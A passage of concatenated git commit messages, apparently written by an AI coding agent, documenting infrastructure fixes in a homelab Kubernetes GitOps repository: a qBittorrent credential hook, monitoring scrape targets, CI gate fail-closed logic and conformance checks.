quiet version of the inert-alert class found elsewhere today; KubePodNotReady
and KubeDeploymentReplicasMismatch were both sitting pending on it.
Self-inflicted: enabling customResourceState for the Velero Schedule metrics
earlier today added a CRD informer plus the mandatory CRD list/watch, and
that marginal cost crossed a limit already sitting about 4 MiB above the
working set. Raised to 384Mi, roughly 3x the observed peak, which costs
nothing on nodes reporting 18.7-22.3 GiB available.
Co-Authored-By: Claude Opus 5 <[email protected]>
Finishes the inherited WIP. qBittorrent 5.x had no WebUI\Username or
WebUI\Password_PBKDF2 in its conf, so it minted a NEW random admin password on
every process start. Both consequences had ALREADY fired: measured before this
change, `POST /api/v3/downloadclient/testall` returned isValid:false with
"Authentication Failure" on BOTH Sonarr and Radarr, so Completed Download
Handling was silently broken, and no human had a stable login either.
Mechanism: the SOPS/age qbittorrent-bootstrap Secret is the single source of
truth; a lifecycle.postStart hook derives qBittorrent's own stored form
(PBKDF2-HMAC-SHA512, 100000 iterations, 16-byte salt, 64-byte digest) and
asserts it into the conf on EVERY container start, then logs in to the WebUI to
prove it. Level-triggered like the repo's CronJob reconcilers, but triggered by
the container start because the failure it closes IS a container start: a cron
would leave a window after every restart in which the app serves a random
password, and would have to edit an RWO PVC from outside, under a running
process. AuthSubnetWhitelist was rejected — authentication is not weakened.
Two real bugs found in the WIP, both the postBuild-substitution trap:
* PORT came from a doubled-dollar WEBUI_PORT expansion. Correct on the cluster
(envsubst collapses it) and the renderer accepts it, but run any other way
bash reads the doubled dollar as its PID, so every curl got an unparseable
URL and the hook logged "the WebUI rejected the durable credential" three
times having never asked it anything — see the marker log at 05:35Z. Now a
literal PORT=8080; the script contains no braced expansion at all and
behaves identically however it is run.
* One shared wait budget covered both the s6 wait and the API wait, so the
first consumed all 90s and attempts 2-3 fired instantly. Separate counters
now; "the API never answered" is reported as a distinct fault from "the
password was rejected"; and a rejection restarts qbittorrent-nox so a retry
can actually change its outcome.
apps/wave-0/kustomization.yaml did not list the SOPS secret, so Flux would never
have applied it and the adoption of the live-only, kubectl-client-side-apply
qbittorrent-bootstrap Secret would silently not have happened. Listed now; the
decrypted values are SHA-256-identical to the live Secret's, so adopting it
cannot change the password.
Proven on prod: testall flipped isValid false -> true on both apps; after
deleting and recreating the pod the conf still held both keys, the WebUI answered
Ok. to a login with the credential decrypted from git, and both arrs still
reported isValid:true. The post-envsubst manifest was audited as `flux build
kustomization` emits it (no doubled dollar, no braced expansion, PORT=8080,
bash -n clean) and the hook's write path was exercised in-container against a
scratch conf: exit 10 when the keys are absent, exit 0 and a byte-identical file
on a second run, digest verified by an independent PBKDF2.
NOT proven, and recorded as such in DECISIONS-LOG: the hook has not yet run as a
real postStart on prod — the Deployment is Flux-owned from main and both routes
to the live object were refused by the session's permission classifier. Verify
on merge that the marker log gains a VERIFIED line on the next pod start.
Co-Authored-By: Claude Opus 5 <[email protected]>
The R-TLS-02 analysis and its drafted spec amendment were written on
feat/coverage-debt-paydown (b37defe, 2026-09-07) and lived ONLY in that branch's copy of
DECISIONS-LOG.md. That branch's tree is ~107 commits behind main and must never be merged,
so the amendment went out of view with it — the second time this decision has been raised
and lost. Recovered, re-checked against today's main, and written where it cannot vanish
with a branch.
THE SUBSTANCE IS UNCHANGED. R-TLS-02 says certificates MUST be automatically "issued,
renewed, and revoked without manual steps". Issuance and renewal hold. Revocation is not
implemented and is not implementable with the stack ADR-0006 selects: cert-manager has no
revoke-on-delete, no Certificate field requesting revocation, and no controller that calls
ACME revokeCert, and neither ADR-0006 nor docs/08 specifies a mechanism.
enableCertificateOwnerRef is NOT the remedy — it garbage-collects the Secret, which is
cleanup, not revocation — and it is a global controller flag that would drop the Gateway's
wildcard-home-tls Secret on any future Certificate rename/prune, so it needs its own risk
assessment rather than a side effect of a test task. Still not set.
WHAT CHANGED SINCE THE FIRST ESCALATION, and why it now matters more: R-TLS-02 is no
longer a COVERAGE gap (l0-static/tls-lifecycle-automated + l2-behavioral/
cert-lifecycle-automated both carry the label and main counts it covered), and the L0 check
is honest about the boundary in its own verdict line ("'revoked' is NOT proven at any
layer"). But the L2 test deletes a Certificate and requires its Secret to disappear, and
its failure message says "set enableCertificateOwnerRef: true ... (owner decision — WS-TEST
does not weaken the assertion instead)". That assertion is written to FAIL on a live run
until the owner decides. The decision is now arriving as a red test rather than as a
question, which is exactly how it gets weakened by whoever meets it next.
Two options are recorded verbatim for the architect, in the drafted preference order:
amend the requirement so revocation is an explicitly manual, documented break-glass action
(which also makes enableCertificateOwnerRef a CONSEQUENCE of the requirement), or keep the
text and record a reviewed DOCUMENTED_GAPS entry naming the clause, the reason and the
removal condition.
NOT APPLIED, and not appliable by an agent: the spec repo is read-only under R-TEST-06.
This is a request for a human decision, stated plainly as one.
Co-Authored-By: Claude Opus 5 <[email protected]>
Checked as part of closing the C2 coverage gaps, and it was live on main. The content
scan's pattern was `R-[A-Z]+-[0-9]+`, which CANNOT match an ID whose workstream segment
carries a digit: `[A-Z]+` consumes the `C` of `R-C2-01` and then demands a `-` where the
`2` is. `R-C2-01` and `R-C2-02` are the only two such IDs in
conformance/requirements/registry.yaml, and the scan was blind to BOTH.
REPRODUCED before the fix, on a throwaway repo whose only change is a manifest declaring
both IDs on real (non-comment) lines, in a path the map keys to nothing:
$ REPO_ROOT=$T BASE_REF=main ci/touched-requirements.sh
R-NET-06 # the all-letter control ID was the ONLY output
It failed by UNDER-attributing, which is the fail-OPEN direction: a change that retyped a
`conformance.home.k3s/R-C2-01` tag, or a manifest self-declaring R-C2-02, contributed
those IDs to NOBODY, so the C2 tests were filtered out of the merge gate. Same defect
class as the map's `*) : ;;` arm — a miss that reads as "nothing touched".
Every other consumer in the repo already allowed the digit, which is why this was the lone
dissenter: test_requirements_for_path() twenty lines above in this same script,
conformance/lib/coverage.py, conformance/lib/status.py and conformance/lib/
run_l1_offline.py all use `R-[A-Z0-9]+-[0-9]+`. Aligned to that form, with the reason
recorded at the line.
SCOPE OF THE HOLE. path_requirements() has no arm for platform/homepage/* or
platform/headlamp/* either, so before this the ONLY route to R-C2-01/02 was detection rule
3 (editing the C2 conformance test itself). No path-map arm is added here: c2-root-surface
declares `scope: whole-repo`, so ci/l0.sh Stage 3b's --include-scope union selects it on
EVERY gate invocation regardless of the touched set — which is the right mechanism for an
invariant whose input surface is the whole tree, and strictly stronger than a two-component
path arm would be.
REGRESSION-TESTED, in ci/tests/touched-requirements.test.sh (the suite `make -C ci test`
runs): a fixture declaring R-C2-01 / R-C2-02 / R-OBS-04 from `notes/` — a path outside
path_requirements(), so the IDs can only come from the content scan — asserts both digit
IDs ARE attributed, that the all-letter form still is (control), and that a purely numeric
workstream is not invented (the pattern must not widen the gate on noise).
PROVEN TO DETECT BREAKAGE: with the pattern reverted to `R-[A-Z]+-[0-9]+` the suite reports
`FAIL (2 failed, 14 passed)` naming both C2 IDs as missing; restored, all three ci/ suites
pass (16 assertions in this one).
ALSO: conformance/tests/l0-static/whole-repo-invariants-wired/check.sh cites this pattern
in the comment explaining why its BOGUS_REQ fixture is lowercase. Citation updated so the
reasoning still reads true; the fixture is unaffected (grep -E is case-sensitive, and the
check still passes 26/26).
NOTE: another branch may be editing this same script concurrently. This is a one-line
change to one statement plus its comment — expect a trivial conflict and keep the
`[A-Z0-9]` form.
Co-Authored-By: Claude Opus 5 <[email protected]>
The R-C2-01 check added in the previous commit is RED on main for a real reason.
platform/crafty/httproute.yaml serves crafty.${BASE_DOMAIN} on the shared Gateway,
clusters/base/crafty.yaml reconciles it (dependsOn platform-config, wait:false), the web
UI is Keycloak-gated by a per-pod oauth2-proxy sidecar — and nothing on the operator's
front door linked to it. The service was running and the root did not admit it existed.
R-C2-01: "The root `home.keithjackson.dev` MUST serve a UI that surfaces the services
running in the cluster and links to them." An unsurfaced route is a requirement gap, not
a missing nicety, and it is the exact failure mode nothing else in the gate notices: every
cluster test stays green, the apex answers 200, and the estate is one service larger than
the dashboard says.
This is the SAME defect the unmerged 49c160d found on 2026-09-07 (feat/coverage-debt-
paydown, ~107 commits behind main). That branch was never merged, so the gap survived —
re-fixed here against today's tree, in token form (`crafty.${BASE_DOMAIN}`, not the
literal hostname that branch predated).
Grouped under Media because Crafty manages game servers; Platform would be equally
defensible and purely cosmetic. The tile also does duty for the L4 game ports
(crafty-mc.${BASE_DOMAIN}, TCP 25565-25567 / UDP 19132-19134), which have no browsable URL
of their own — the check reports those as an advisory rather than requiring a link.
ALSO: clusters/base/homepage.yaml's postBuild comment claimed "Homepage references no
${VARS} today; the substitution is retained for parity". That is no longer true and the
claim is dangerous, because it invites someone to delete the substitution as dead weight.
This component now references ${BASE_DOMAIN} in httproute.yaml's apex hostname AND in every
tile href; without substitution the token is applied literally, the apex route binds a host
matching no listener, every link on the root is dead, and Flux still reports Ready. Comment
corrected, and the property is asserted by c2-root-surface (5) so it cannot rot back.
Verified: conformance/tests/l0-static/c2-root-surface -> check OK, 49 assertions.
Co-Authored-By: Claude Opus 5 <[email protected]>
The Test DECLARATION landed in the preceding WIP commit with no check.sh, so the test
could not run at all. This is the check: 49 offline assertions over the repository as
git tracks it, no cluster, no network, no spec repo (R-TEST-06).
THE RULE. Every home-zone hostname the repository routes over HTTP must be linked from
the apex dashboard's configuration; every home-zone link the dashboard offers must
resolve to something the repository actually serves (an HTTPRoute at L7 or a
hostname-publishing LoadBalancer Service at L4); and the two R-C2-02 surfaces must be
linked, reconciled and backed by real alert rules, with operational rights arriving
per-user through OIDC groups rather than through a shared cluster-admin identity.
IT IS RED ON MAIN, on the forward direction:
FAIL (8) every service the repo ROUTES over HTTP is surfaced on the C2 root.
Unsurfaced: crafty.${BASE_DOMAIN} (platform/crafty)
platform/crafty/httproute.yaml serves crafty.${BASE_DOMAIN} through the shared Gateway,
clusters/base/crafty.yaml reconciles it, and nothing on the C2 root links to it. R-C2-01
says the root MUST surface "the services running in the cluster and links to them", so
an unsurfaced route is a requirement gap, not a styling preference. Fixed in the next
commit, deliberately separate so the RED is in the history.
WHAT IS ASSERTED BEYOND THE PRIOR ATTEMPT (49c160d on feat/coverage-debt-paydown, whose
tree is ~107 commits behind and was NOT merged):
(0) THE INPUT SURFACE ITSELF. The forward direction is only as good as the set of
manifests it reads, so three assertions guard the guard: the scanned roots are
present, every manifest in them PARSES (an unparseable file is a service the check
cannot see), and EVERY Flux-reconciled path lies inside a scanned root — so a
future tier reconciling, say, ./services fails loudly instead of letting the
dashboard hide all of it. conformance/ is deliberately excluded from the scan: its
fixtures and goldens declare synthetic HTTPRoutes (paas-demo, gw-declared-
conformance) that are test data, not services the cluster serves. The prior
attempt excluded them only by accident, through a filename prefilter.
(5) postBuild.substituteFrom ON THE DASHBOARD'S TIER. Hostnames are ${BASE_DOMAIN}
tokens now, not the literals the prior attempt compared. Without substitution the
apex route binds the literal host `${BASE_DOMAIN}` (matching no listener) and
every tile links to a host that does not exist — while Flux still reports the
Kustomization Ready. It fails OPEN, which is this repo's most-repeated incident
shape.
(12) TOKENS, NEVER LITERALS. No href may name a literal `home.keithjackson.dev` host,
so prod's front door cannot link dev's services — the 2026-09-04 class (two
clusters authored to describe the same names, prod's external-dns then deleting
dev's records), applied to the C2.
(2) THE SECTIONNAME IS PROVEN LOAD-BEARING rather than asserted from prose: the
wildcard listeners are shown to exist AND to be distinct from the apex listener,
which is why `*.${BASE_DOMAIN}` cannot serve the bare apex.
(10) THE REVERSE DIRECTION NOW ACCEPTS L4. The UniFi tile points at :11443 on a
hostname published by apps/vms/unifi/50-service-l4.yaml (a KubeVirt VM behind a
pinned Cilium LoadBalancer VIP). That is something this repo serves, so it
resolves — no off-cluster declaration is needed for it any more. The declaration
hatch is kept and constrained (specific home-zone hostnames, may not shadow a
hostname the repo does serve) but is EMPTY today, which is the honest state.
WHOLE-REPO SCOPE, as the declaration says. The invariant quantifies over every tracked
manifest that can declare an HTTPRoute; the change that BREAKS it is a route added
somewhere else entirely (`apps/wave-1/newthing.yaml` attributes R-GITOPS-02 or nothing,
never R-C2-01), and ci/touched-requirements.sh has no path-map arm for platform/homepage
or platform/headlamp at all. Requirement-scoped selection would filter this check out of
exactly the change that introduces the bug — the R-TEST-03 blind spot. No ci/l0.sh stage
is added: Stage 3b's --include-scope union selects it, and whole-repo-invariants-wired
fails the gate if anyone hand-adds one.
HONEST GAPS, in the check's own header: it does not fetch the apex (L2, covered for the
Gateway/TLS half under R-DNS-01 / R-TLS-01); (19) reads a DECLARED auth posture because
no Gateway ext-authz attachment exists anywhere in this repo, and says so in the
assertion text; it does not judge whether a tile is useful; and an L4-ONLY endpoint
(crafty-mc, a Minecraft game port) is reported as an ADVISORY rather than required,
because a raw TCP/UDP endpoint has no URL a browser can follow.
Co-Authored-By: Claude Opus 5 <[email protected]>
INCOMPLETE — preserved by the PM after the authoring agent died to a server
error mid-task (its third attempt; the first two died to a session rate
limit). Do not merge.
R-C2-01 and R-C2-02 are the only 2 remaining coverage gaps on main (49/51).
This is the chainsaw Test declaration only: it quotes both requirements
verbatim from the spec, cites docs/12-command-center-ui.md for which surface
serves which half (Homepage at the root for R-C2-01, Headlamp for R-C2-02's
'controlled operational actions where safe', Grafana for dashboards/alerts),
and argues why the deciding half is L0 rather than L2 — reachability is
already covered by l2-behavioral/gateway-ingress-reachable, whereas whether
the root surfaces THE SERVICES THE CLUSTER RUNS is a comparison of two sets
that are both repository facts.
WHAT REMAINS: check.sh does not exist, so this test cannot run at all. Also
still open: whether 'a service the root hid' (from the prior art commit
49c160d on feat/coverage-debt-paydown) is still a live defect, whether
ci/touched-requirements.sh can attribute R-C2-01/02 at all (a digit in the
workstream segment reportedly broke the content scan), and the R-TLS-02
decision summary.
Co-Authored-By: Claude Opus 5 <[email protected]>
The existing check audited only the inverse — a ${...} undefined or
unescaped — so it passed the manifest that broke prod: Postgres
dollar-quoting under a postBuild.substituteFrom path, which envsubst halves,
delivering 'DO $' and a syntax error on every reconciled run (fixed 16b7fcd).
Measured rather than assumed: Flux 2.4.0 embeds fluxcd/pkg/envsubst (a fork
of drone/envsubst — the brief credited the wrong module), and --strict output
is BYTE-IDENTICAL to non-strict here, so strict mode is blind to this class
entirely. The decisive contrast is two commands on the same stream: kubectl
kustomize emits valid 'DO $$' — which is what the kubectl-apply
verification saw — while the same stream through flux envsubst emits 'DO $'.
357 assertions, 0 unjustified. Legitimate uses genuinely exist (18 ${} escapes
plus two reaching shell comments), so the allowlist is a reviewed opt-in
rather than a bypass: a stale entry fails, a wildcard is matched verbatim and
so fails as stale, a short context or reason is rejected, and a genuine entry
covers only the span it matches — a second occurrence in the same file still
fails. Strongest proof: restoring the real pre-16b7fcd manifest verbatim makes
the guard reject the exact commit that broke production.
Neither family was scraped at all, so every Longhorn alert (degraded,
faulted, capacity) and every cert-manager alert (expiry, issuance) was
structurally incapable of firing: storage health unmonitored on a cluster
whose node just had a failing drive, TLS expiry unmonitored with the live
wildcard cert 89 days out. Now proven on prod: longhorn_* 8717 series with
longhorn-backend up=3, certmanager_* 104 series across 3 targets.
Adds an L0 guard (118 assertions) that crosses from each alert rule to the
scrape config and re-proves each enabling declaration against the working
tree, including the negatives — cert-manager's monitor mutual-exclusion, the
Longhorn metrics NetworkPolicy, and kube_node_labels needing
metricLabelsAllowlist. Proven able to fail five ways.
Hubble is deliberately NOT enabled: it opens 9965 on every cilium-agent and
rolls the CNI DaemonSet across all three nodes, and platform/cilium carries an
explicit parity contract with the Ansible template that a HelmRelease-only
change would silently break. Registered as a declared gap instead.
Two findings this surfaced, neither fixed here and neither absorbed silently:
twelve apps/* <app>-down SLI rules discover zero targets because their
ServiceMonitors name port 'metrics' and no app Service defines that port; and
kube-state-metrics is OOMKilled roughly every ten minutes, making thirteen
kube_* rules intermittently inert.
The implementation landed in the preceding WIP commit had never been executed.
This finishes it: the arithmetic is re-measured, the guard and its allowlist are
attacked, and the header's one factual error is corrected.
WHAT ENVSUBST ACTUALLY IS. The header credited `github.com/drone/envsubst`. The
pinned flux 2.4.0 binary in the dev image embeds
`github.com/fluxcd/pkg/[email protected]` — Flux's own fork of drone/envsubst
("This package is a fork of drone/envsubst", its README) — read straight out of
the binary with `grep -ao`. Same behaviour, different module; the header now says
so and says how to check, because a claim about a dependency that nobody can
re-derive is how the last wrong assumption survived.
RE-MEASURED, NOT ASSERTED. Every row of the DOLLAR-RUN ARITHMETIC table was
re-run through `flux envsubst` (flux 2.4.0, DEFINED=VALUE) and every row holds:
`$$`->`$`, `$$$`->`$$`, `$${D}`->`${D}`, `$$${D}`->`$VALUE` (odd run: the brace
is LIVE), `$$$${D}`->`$${D}`, `DO $$ x $$;`->`DO $ x $;`, and `$$${ARR[0]}` dies
with "missing closing brace" while `$${ARR[0]}` is fine. `--strict` output was
byte-identical to non-strict, exit 0 both ways (`cmp`) — strict mode is blind to
this whole class, which is why a source assertion is the only guard available.
The header now carries the 30-second reproduction, flagged to be re-measured on
any FLUX_VERSION bump.
END TO END ON THE REAL PATH. With the pre-16b7fcd manifest restored,
`kubectl kustomize apps/wave-0` emits `DO $$` — valid SQL, and exactly what the
`kubectl apply` verification saw — while the same stream through
`flux envsubst --strict` emits `DO $` and `$;` and exits 0. That two-command
contrast IS the incident.
THE GUARD IS NOT TRIVIALLY SATISFIABLE — 16 adversarial cases, all as intended,
run against a throwaway copy of the tree so nothing could be left behind:
* an unmarked `$$` under a substituted path FAILS (DOLLAR-COLLAPSE); so do an
odd `$$${...}` (DOLLAR-HALF-ESCAPED) and an even `$$$${...}` (OVER-ESCAPED);
* a stale entry FAILS three ways — context no longer in the file, context that
only covers an already-accepted `$${` escape and so excuses nothing, and a
path that is not a file in the repo;
* the allowlist cannot blanket-exempt a path: a 2-char context is rejected
(<24), a `.*` wildcard is matched VERBATIM and therefore rejected as stale, a
24-char context carrying no dollar run is rejected, a 4-char reason is
rejected (<40) — and, the central case, a genuine entry covers only the span
its context matches, so a SECOND `$$` elsewhere in the same file still fails.
Two genuine entries for two real occurrences do pass, so the mechanism is
usable rather than merely unsatisfiable;
* the CLASS, not the instance: the pre-fix `DO $$ ... $$;` reconstructed in a
NEW ConfigMap under apps/wave-2 fails at both dollar runs, and restoring the
real pre-16b7fcd apps/wave-0/nextcloud-db.yaml verbatim fails the check at
lines 384 and 391. The guard rejects the exact commit that broke production.
The scratch fixtures lived only in the throwaway copy; `git status` on this
branch stayed clean throughout, which is the other half of the last attempt's
unfinished business.
LEGITIMATE USES EXIST AND STAY GREEN. 18 `$${...}` escapes (unifi cloud-init,
the gitea and nextcloud OIDC bootstrap scripts, two longhorn comments) pass
unremarked, and the 2 non-braced `$$` occurrences are the two allowlist entries.
Those two are shell comments inside block scalars, and `kubectl kustomize`
confirms the comment text really does survive into the stream envsubst reads —
so they are genuine, reaching content whose collapse is cosmetic, not a
hypothetical the allowlist was invented to excuse.
STILL NOT PROVEN, AND STILL NOT PROXIED: that a change was verified through a
substituting path. Which command a human ran is a fact about a shell session;
git stores the manifest, never the invocation, so it is not statically decidable
here and no honest formulation exists. Grepping commit prose for `kubectl apply`
would be satisfiable by rewording and would fire on the break-glass runbooks
whose whole content is that command. The answer is to move the proof off the
verification path and onto the source, which is what assertion (7) does.
No ci/l0.sh stage: the `conformance.home.k3s/scope: "whole-repo"` annotation is
what wires it, and whole-repo-invariants-wired fails the gate on a hand-written
stage.
Co-Authored-By: Claude Opus 5 <[email protected]>
ci/gate.sh set BLOCK=1 on a FAILED stage but only warned on a SKIPPED one, so
it printed the words 'not green' and then 'MERGE GATE: PASS', exit 0 — fail
open in the one component whose job is to fail closed. Observed live with
prom-rules, and independently with l0 when the pinned kyverno CLI was absent.
New contract: PASS/0 means every stage that was supposed to run ran and was
green; BLOCKED/1 a failure or a must-run stage that did not; UNDETERMINED/3
nothing failed but greenness was not established; NOT APPLICABLE/0 unchanged.
No knob inside gate.sh can turn UNDETERMINED into 0 — tolerating a non-answer
is the caller's decision to make and to document.
The distinction that makes it usable: a capability the environment DECLARES
absent may still pass (no cluster, named in the headline); a stage that COULD
NOT RUN may not. CI declares GATE_STRICT_SKIPS in the workflow rather than
sniffing for CI, so a missing pinned tool there is exit 1.
Carries over 47068ee's unusable-subset blocking from the unmerged
fix/touched-requirements-fail-closed, now with tests. Measured its companion
claim honestly: 159 of 613 paths (26%) are unmapped today, not 255 of 476
(54%) — 56 prose, 103 non-prose — which remains the larger fail-open and is
recommended as its own change rather than smuggled in here.
47 assertions, 32 of which fail against the old gate.sh.
An alert rule whose metric is never scraped is not a broken alert, it is an ABSENT
alert that reads as a present one. `longhorn_volume_robustness == 2` over a TSDB
with no longhorn_* series returns no vector: permanently quiet, permanently
"healthy", indistinguishable from a correct rule. It survives review (the PromQL is
right), it survives `promtool test rules` (the unit test supplies the series
itself), and it appears on no dashboard.
VERIFIED ABSENT ON PROD before this change (re-verified 2026-09-13 21:0xZ, ~15h
after the first audit, because a stale reading is not evidence):
count(longhorn_volume_robustness) => (empty) 4 rules inert
count({__name__=~"certmanager.*"}) => (empty) 3 rules inert
count(hubble_drop_total) / {__name__=~"cilium.*"} => (empty) 1 rule inert
count by (job) (up) => 20 jobs, none of them
Longhorn, cert-manager,
Cilium or Hubble
Consequence: storage health was unmonitored on the cluster whose prod-1 had just
had a failing SSD, and TLS expiry was unmonitored with the live `wildcard-home`
wildcard 89 days from expiry on an ACME DNS-01 renewal that can fail silently.
WHAT THIS CHANGES
* platform/longhorn: `metrics.serviceMonitor.enabled: true` (the supported chart
way — rendering longhorn 1.12.1 emits exactly 1 ServiceMonitor with the flag and
0 without), plus networkpolicy-metrics.yaml. The NetworkPolicy is LOAD-BEARING,
not belt-and-braces: measured with the monitor applied and no allowance, all 3
targets were DISCOVERED and every scrape failed `context deadline exceeded`
after 10.0s — a drop, not a refusal — while curling the endpoint from inside
the manager pod returned 200 in 0.031s. Longhorn 1.12.1 ships 6 NetworkPolicies
of its own, guarded on `networkPolicies.restrictInternalTraffic` (default TRUE)
and NOT on `networkPolicies.enabled`, so they are effectively unconditional and
the manager policy admits only same-namespace Longhorn components. The one-line
alternative (restrictInternalTraffic: false) was rejected: it deletes the
internal-traffic restriction across all six components to open one port to one
namespace, trading an R-SEC-02 control for an observability one when the two do
not conflict. This policy is Ingress-only, ns monitoring -> app=longhorn-manager,
TCP 9500 only; 9502/9503 (webhook, recovery backend) stay closed.
* platform/cert-manager: `prometheus.servicemonitor.enabled: true`. Chart default
already serves 9402; only the monitor was missing. No NetworkPolicy needed —
neither ns cert-manager nor ns monitoring carries one. NOT paired with
prometheus.podmonitor.enabled: the chart calls `fail` if both are set.
* platform/kubevirt: KubeVirtVMLaunchFailing queried
`kubevirt_vmi_phase_count{phase="Failed"}`, which DOES NOT EXIST on the deployed
KubeVirt — a different flavour of the same defect, with the scrape target up and
healthy. Prod has only `kubevirt_vmi_info` and `kubevirt_vmi_number_of_outdated`;
the only phase-bearing names are the phase_transition_time histograms. Corrected
to `kubevirt_vmi_info{phase="failed"}` — LOWERCASE, because KubeVirt lowercases
the value (observed `phase="running"` for the unifi VMI) and a capital-F matcher
would select nothing and be exactly as inert.
PROVEN, NOT ASSERTED. The rendered ServiceMonitors were applied to prod by hand and
the metrics observed to land, then REMOVED again so the merge's Helm upgrade creates
and owns them rather than colliding with an unowned object:
count(up{job="longhorn-backend"}) => 3 (all three managers, up==1)
count({__name__=~"longhorn.*"}) => 8717 (was empty)
count(longhorn_volume_robustness) => 44
up{namespace="cert-manager"} => 3 targets, all 1
count({__name__=~"certmanager.*"}) => 104 (was empty)
wildcard-home days to expiry => 89.2, ready_status{condition="True"}=1
All 58 alert rules in the repo were then evaluated against prod one by one: every
one returns a result without error, and exactly ONE fires.
TRIAGE OF THE ONE NEWLY-FIRING ALERT — A TRUE POSITIVE, NOT TUNED AWAY.
LonghornVolumeCapacityHigh on the Prometheus TSDB volume:
`longhorn_volume_actual_size_bytes / longhorn_volume_capacity_bytes` = 0.971
(48.6 GiB allocated of 50 GiB) while the kubelet's view of the same filesystem is
only 20.4% used. Longhorn is not reclaiming freed blocks, so ~48.6 GiB x 3 replicas
is committed for ~10 GiB of real data. On a cluster whose failure mode is disk
pressure and whose etcd WAL shares a spindle with Longhorn, that is worth knowing
and was invisible until now. The threshold is left alone; the follow-up is
filesystem trim, not a bigger number.
THE GUARD (conformance/tests/l0-static/alert-metrics-have-scrape-targets)
Whole-repo L0 invariant, 118 assertions. It crosses from each alert to the scrape
config that makes its metric exist: every metric name is claimed by exactly one
declared owner, and each owner's enabling declaration is re-proven against the
working tree on every gate run, including the negative conditions that defeat an
enablement without deleting it. `up{job="X"}` is audited on its own axis, because
`up` always exists: where this repo authors a Service and a ServiceMonitor in the
same file, the monitor's endpoint port must be a port that Service defines.
It DECLARES conformance.home.k3s/scope: "whole-repo" and adds NO ci/l0.sh stage —
the whole-repo-invariants-wired meta-test fails the gate if one reappears.
PROVEN ABLE TO FAIL, five ways, each reverted:
1. an alert on a fabricated metric -> FAIL "claimed by NO entry"
2. longhorn metrics.serviceMonitor removed -> FAIL "no longer matches"
3. networkpolicy-metrics.yaml unwired -> FAIL "the monitor alone is NOT enough"
4. cert-manager podmonitor also enabled -> FAIL "FORBIDDEN pattern"
5. a register entry made stale / removed -> FAIL in both directions
TWO SHRINK-ONLY REGISTERS, because a blanket fail would make the gate red until
work that is not this change lands, and a disabled gate protects nothing:
* KNOWN_UNWIRED_METRICS (1): hubble_drop_total. See below.
* KNOWN_UNWIRED_JOBS (12): every apps/* `<app>-down` SLI rule is ALSO inert, and
this was found by the re-audit, not previously known. The rendered
ServiceMonitors name `port: metrics` and NOT ONE of the twelve app Services
defines a port of that name (zero occurrences of `name: metrics` across all
twelve manifests); prod confirms none of the twelve jobs appears in `up`. This
is the nastiest variant of the class: `up` exists in abundance so nothing looks
wrong, and PrometheusTargetsMissing cannot see it either, because a target that
was never discovered has no up series to be 0. Closing it needs an exporter per
app (Plex, Pi-hole, Jackett, qBittorrent, Sonarr, Radarr, Seerr speak no
Prometheus) — except keycloak, where the live jobs are keycloak-service /
keycloak-discovery and the rule is a rename away from being live.
NOT DONE HERE, DELIBERATELY: Hubble. hubble.metrics.enabled RECONFIGURES THE CNI —
it opens 9965 on every cilium-agent and rolls the DaemonSet across all three nodes,
serialised by this repo's own maxUnavailable: 1 (set after the 2026-09-01
k8sServiceHost outage, where a CNI roll deadlocked 2 of 3 agents). It also needs a
matching edit to roles/cilium/templates/cilium-values.yaml.j2 in the same commit,
because platform/cilium/helmrelease.yaml carries a [parity] contract against it and
a rebuilt node would otherwise bootstrap a CNI config that disagrees with the
reconciled one. Recommended as its own change on the cilium Kustomization, with the
Ansible parity edit, a narrow labelsContext, and a one-node canary — not smuggled in
here.
ALSO FOUND, NOT FIXED HERE: kube-state-metrics is OOMKilled every ~10 minutes on
prod (90 restarts in 16h against a 128Mi limit) while its logs show the
custom-resource-state factory reloading every 3 seconds. Thirteen alert rules read
kube_* metrics, so those rules are INTERMITTENTLY inert — the same defect class,
arriving through a crashloop rather than a missing monitor. Needs its own change.
Co-Authored-By: Claude Opus 5 <[email protected]>
Completes the WIP preserved in the previous commit. `MERGE GATE: PASS` + exit 0 now means
what it says: every stage that was SUPPOSED to run ran, and was green.
THE DEFECT. In gate.sh's decision section a FAILED stage set BLOCK=1 but a SKIPPED stage only
warned, so the gate printed `l0: skipped (unwired seam / missing tool) — not green` and then
`MERGE GATE: PASS`, exit 0. Seen twice for real: `prom-rules` skipped because promtool was
absent, and `l0` skipped because the pinned kyverno CLI was. Exit 0 is what CI and every
`||`-chained script read as merge-approved, so the one component whose entire job is to fail
closed was failing OPEN — in a repo whose stated principle is that SKIPPED IS NOT GREEN, and
whose history already contains the 2026-08-31 "local false green" that UNDECIDED was added to
prevent. The offline stages simply never used that vocabulary.
A SKIP IS NOT ONE THING — the per-stage rule, with the justification in the file header:
* lint / l0 / render-golden / l1 — COULD NOT RUN (a pinned tool absent, a seam unwired).
BLOCKED under strict skips (a CI runner has the toolchain installed for it by
install-tools.sh, so a skip there is a defect); UNDETERMINED (exit 3) otherwise — a
workstation missing a tool is a real local condition, still non-zero, still never a pass.
* spec-immutability — the spec repo is not checked out, so R-TEST-06 COULD NOT BE VERIFIED:
UNDETERMINED. Deliberately NOT upgraded to a block by strictness, because the live runner
does not check the spec repo out at all and blocking would leave the only enforced status
check permanently red for a reason no PR can clear. It is the ONE skip a caller may
knowingly tolerate; REQUIRE_SPEC_VERIFICATION=true makes it hard once wired.
* conformance L2/L3 — CLUSTER_AVAILABLE!=true is the environment DECLARING the capability
absent, not a stage failing to run where it could have. A declared-inapplicable stage was
never "supposed to run", so it does not deny a PASS — but it is now NAMED in the PASS
headline and the step summary, so PASS never implies more than was verified. A skip
DESPITE CLUSTER_AVAILABLE=true still blocks.
declared-not-applicable may pass; could-not-run may not.
STRICTNESS IS DECLARED, NOT SNIFFED. .gitea/workflows/gate.yml sets GATE_STRICT_SKIPS=true on
the gate step — the workflow is the thing that knows it is CI — with GITHUB_ACTIONS/CI (set by
the runner itself) only as the `auto` fallback. No hostname/path/tool-availability heuristic.
A wrong answer in either direction cannot fail open: both branches are non-zero and neither is
a PASS. That step now calls ./ci/gate.sh directly and tolerates exit 3 in one visible line,
because under strict skips exit 3 can ONLY mean the unverifiable spec repo — a missing tool is
exit 1 and untolerated. Tolerating a non-answer is a reviewed choice in the CALLER; there is
deliberately no knob inside gate.sh that turns UNDETERMINED into exit 0.
ALSO, from the unlanded fix/touched-requirements-fail-closed (47068ee), whose reasoning is
carried over rather than its tree: gate.sh special-cased only exit 3 from
touched-requirements.sh, so ANY other non-zero exit left the touched set empty and printed PASS
having applied no coverage gate at all. An unusable subset is not an empty subset: it BLOCKS.
Latent today (the script exits only 0 or 3) and wired now so the hole is already closed when a
fail-closed path map makes exit 1 reachable — the measured state of that map is in the PM report.
